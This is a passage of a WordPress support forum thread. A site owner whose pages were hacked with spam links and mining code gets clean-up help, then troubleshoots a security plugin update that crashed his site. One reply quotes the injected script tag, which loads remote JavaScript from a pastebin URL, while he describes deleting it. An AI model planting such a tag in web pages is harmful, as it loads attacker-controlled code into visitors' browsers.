• After almost 10 years with no issues here on WordPress I have finally been hacked ?? My site showcases URL’s to all kinds of spammy sites on the homepage (at the top and scroll to the bottom) https://bjwok.com

    I’m pretty keen to resolve this with the help of the community. Any assistance will be greatly appreciated!

    Cheers!

    The page I need help with: [log in to see the link]

Viewing 13 replies - 46 through 58 (of 58 total)
  • Actually there is still malicious piece of mining code on that page.

    Thread Starter bjwok

    (@bjwok)

    Yeah my php skills are not quite that good and i’m literally manually deleting <script type='text/javascript' src="https://pastebin.com/raw/RNsgLpRs"></script> from all posts. It’s gonna be a loooong job!!

    • This reply was modified 6 years, 6 months ago by bjwok.

    If you have had experience exporting databases, sometimes thats the easier way. Export it, edit out the malware code, import back in. Not so easy to do when its a large database though.

    Thread Starter bjwok

    (@bjwok)

    So my site was all working fine for the last 4 days and then @te_taipo your Pareto Security plugin had an update which has crashed the site:

    Fatal error: Can't use function return value in write context in /home/bjwokco/public_html/wp-content/plugins/pareto-security/pareto_functions.php on line 1058

    When updating the plugin through the prompt within WP it returns this error: Update Failed: Internal Server Error

    What are your recommendations to resolve this issue?

    Looks like something that affects older versions of PHP. I will push out an update in a few minutes to address this.

    Thread Starter bjwok

    (@bjwok)

    hmmm, I cannot access my site at all now, not through cpanel or even FTP.

    Looks like WordPress repository is down, I will try push out this update shortly. In the meantime yes if you can FTP in, just delete the plugin. The update will fix this issue.

    Thread Starter bjwok

    (@bjwok)

    No, I cannot access anything to do with my site since this error. What did your plugin update do??

    Thread Starter bjwok

    (@bjwok)

    Update: I got in through my hosting provider and removed your plugin. All working again as before.

    Just pushed out an update that addresses older versions of PHP, this should correct that issue.

    Thread Starter bjwok

    (@bjwok)

    Ok re-installed a fresh install and set back to Advanced mode. All working as it was before ??

    Cheers mate!

    Ok, have pushed out another update since then, found some more issues with other versions of PHP. 1.9.4 is the current stable version.

    Thread Starter bjwok

    (@bjwok)

    No, that’s the one I got from the fresh install: 1.9.4 ??

Viewing 13 replies - 46 through 58 (of 58 total)
  • The topic ‘Finally got hacked :( Oh no!!!’ is closed to new replies.